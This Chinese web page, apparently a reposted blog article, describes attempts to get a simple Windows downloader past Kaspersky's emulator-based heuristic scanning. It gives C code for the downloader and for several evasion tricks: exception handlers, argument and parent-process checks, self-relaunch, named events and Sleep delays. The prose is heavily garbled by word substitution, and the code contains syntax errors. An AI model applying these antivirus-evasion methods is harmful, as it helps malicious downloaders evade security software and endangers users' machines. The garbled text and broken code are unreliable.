当前位置:首页 > 谷歌优化技巧 > 正文内容

downloader - downloader什么意思(downloader是个啥)

  据我相识 在卡巴7中就有假造 开导 式查毒的功能。国内就有人在BLOG上发表了一篇怎样 突破卡巴7的假造 机开导 式查毒的文章[1]。卡巴8和最新的卡巴2010中仍旧 具有该功能。卡巴斯基不消 我多说了,各人 都知道。

  我近来 在网上查到有人说卡巴斯基是俄罗斯国家科学院相助 开辟 的,军方和克里姆林宫专用。这个我还真的不清楚 了,请包涵 我的无知。我先来说下什么是假造 机开导 式杀毒。

  我以为 在这里的假造 机开导 式杀毒应该可以明白 为在假造 机中实行 和开导 式杀毒。假造 机即构造一个假造 实行 环境 大概 说一个仿真的环境 ,将病毒等恶意代码在该仿真的环境 中运行实现本身 脱壳等等。该仿真的环境 和用户盘算 机的真实环境 是隔离的。

  

  请输入图片形貌

  我们都曾经一无所知 ,都曾经艰巨 前行,都曾经等待 乐成 ,也都担当 过一次又一次凄切 失败,还记得曾经玩远控花了整整两周才比及 第一个肉鸡上线的冲动 难以言表,还记得当 年花了整整一个月才在一个日本网站上挂上了“巍巍中华,国耻未忘”的黑页时高兴 得彻夜难眠,固然 ,那些日子云云 之近,但是,在黑客天下 艰巨 爬行的我们,仿佛履历 了千山万水,我如今 正在履历 的,全部 初入界内的小白们也必将履历 。——黑客攻防册本 《网络好坏 》选段 某宝有。

  举个例子:如今 的恶意代码都采取 加壳为本身 提供掩护 ,尤其是一些已知病毒的变种。当采取 假造 机实行 技能 加壳掩护 的恶意代码仍能被杀毒软件检测到,有本领 的读者可以本身 实行 一下。

  开导 式指的是自我发现并推断或判定 事物的方式。开导 式杀毒通太过 析程序指令的序列大概 API函数的调用次序 以及其他恶意代码与正常程序的差别 等履历 和知识的组合来判定 是否是恶意代码。如许 的开导 式杀毒具备某种人工智能特点。它的长处 不消 我多说废话,举个例子:Downloader信托 各人 都知道,最紧张 的两个API是URLDownloadToFile和ShellExecute(也可以是其他实行 一个程序的API)。比方 ,在利用 假造 机开导 式杀毒时,当被查毒程序的API调用序列中出现URLDownloadToFile大概 ShellExecute,又大概 不是按照先URLDownloadToFile后ShellExecute的调用次序 是不会被报Downloader的。

  可以说由于主动 防御技能 的种种缺点,如今 各杀毒软件厂商已经将假造 机杀毒和开导 式杀毒作为杀毒业界的寻求 和探索的目标 。可以预见到在将来 几年内杀毒软件将不再见 出现当正常利用 体系 和软件时频仍 弹出主动 防御窗口的尴尬。

  接下来将通过上面提到的Downloader例子分析下卡巴的假造 机开导 式查毒的特点,并在末了 给出一种大概 的绕过方法和演示代码,供各位看官赏玩。

  我假设您已经知道什么是Downloader,一个最简单 的Downloader是:

  #include "stdafx.h" #include urlmon.h #include Shellapi.h #pragma comment (lib,"Urlmon.lib") int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return 0; }

  这个程序是利用 Visual Studio 2008创建的Win32窗口工程。编译后卡巴2010直接报Downloader。起首 利用 了之条件 到的xyzreg提到的方法,如今 在卡巴2010下已经不实用 ,简单 的测试了一下卡巴2010会把本身 模仿 成explorer.exe。以是 查抄 父进程 是否是explorer.exe的方法不可 了,但是假如 查抄 本身 的父进程 是否是cmd.exe就可以了。固然 这个实用性并不强,由于 要求Downloader必须由cmd.exe启动。

  我以为 应该有其他的方法可以逃过假造 查毒,但是这里只从假造 查毒本身 入手。起首 想到的是这个假造 机和真实环境 是否有区别?这个答复 固然 是肯定的。但是这些区别在那边 ,这些区别是否会影响到。是否存在一种环境 假造 机无法假造 而导致假造 环境 下无法实行 到URLDownloadToCacheFile和ShellExecute那就不会查抄 到是Downloader了。这个头脑 很简单 ,然后要怎么实现呢。

  起首 想到假造 机是否假造 了非常 处理 惩罚 ,假如 没有假造 非常 处理 惩罚 ,那我们以为 的制造一个非常 ,将具有Downloader特性的API调要放到非常 处理 惩罚 程序中不就绕过了吗。于是有了下面的代码

downloader - downloader什么意思

  BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult) { __try { *pResult = dividend / divisor; } __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return TRUE; } return TRUE; }

  在Downloader的程序入口以参数divisor为0调用这个SafeDiv函数,。如许 就会产生一个除0的错误。结果 是卡巴报Downloader!看样子卡巴有对非常 处理 惩罚 假造 的本领 。

  恩。。。假如 我在代码中添加int 3停止 会发生什么环境 呢?应该也假造 了。如今 就来试试,果然在Downloader入口添加int 3后固然 是查不出来了,呵呵,程序也运行不了了。接下来就看看能不能找到方法让程序在真实环境 下能运行在,假造 机下愣住 了。没有多久想了一个更换 的方法,判定 程序的输入参数。通过查抄 程序的输入参数来控制程序的实行 流程。简单 的在Downloader入口添加判定 程序参数的代码:

  if(strcmp(argv[1],"1")!== 0) return;

  程序运行时输入参数“1”程序实行 Downloader的功能,在假造 机中实行 时没有参数输入以是 程序返回,检测不到恶意函数调用次序 。固然 如许 的恶意代码是貌寝 的,以是 我想到利用 CreateProcess来启动Downloader本身 的另一个实例。代码如下:

  部分 变量声明和初始化代码省略。。。

  INT32 divisor = 1; if(argc == 1) { TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,si,π); ExitProcess(0); return; } if(strcmp(argv[1],"2") == 0) divisor = 0; SafeDiv(10,divisor,Result); ExitProcess(0); return; }

  编译乐成 后,利用 卡巴2010查毒。报Downloader!扫兴 啊!

  将对函数参数查抄 的方式换成利用 “定名 对象”的方式:

  //界说 一个“定名 对象” TCHAR szMutex[] = L”11111”; HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex); int tmp = GetLastError(); if(tmp == 0) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( π, sizeof(pi) ); TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,si,π); return 0; } TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return 0;

  报Downloader!扫兴 !

downloader - downloader什么意思

  看样子卡巴的假造 机对API的模仿 和程序实行 的流程假造 很到位!不知道对时间的假造 的怎么样?代码中有Sleep(10000000)的语句会不会影响假造 查毒的时间呢?根据我的实行 在此中 参加 Sleep函数就寝 很长的一段时间并没有影响假造 杀毒查出Downloader的时间,以是 估计对时间的假造 大概 不好 。将上面的代码中在CreateProcess调用之后调用Sleep就寝 一段较长的时间如5秒,然后调用CloseHandle关闭“定名 变乱 ”。

  假如 卡巴碰到 Sleep函数简单 的跳过,则在假造 机中实行 的次序 将是先实行 Sleep后的CloseHandle关闭变乱 ,然后再进入到新实例中创建“定名 变乱 ”,在这种环境 下就能创建乐成 ,以是 程序的实行 流程不会进入到URLDownloadToCacheFile处,以此绕过检测。但是实际 环境 时仍旧 被报Downloader,阐明 卡巴2010对Sleep等时间相干 的函数假造 的也很好。

发表评论

(必填)
(选填)
(选填)

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。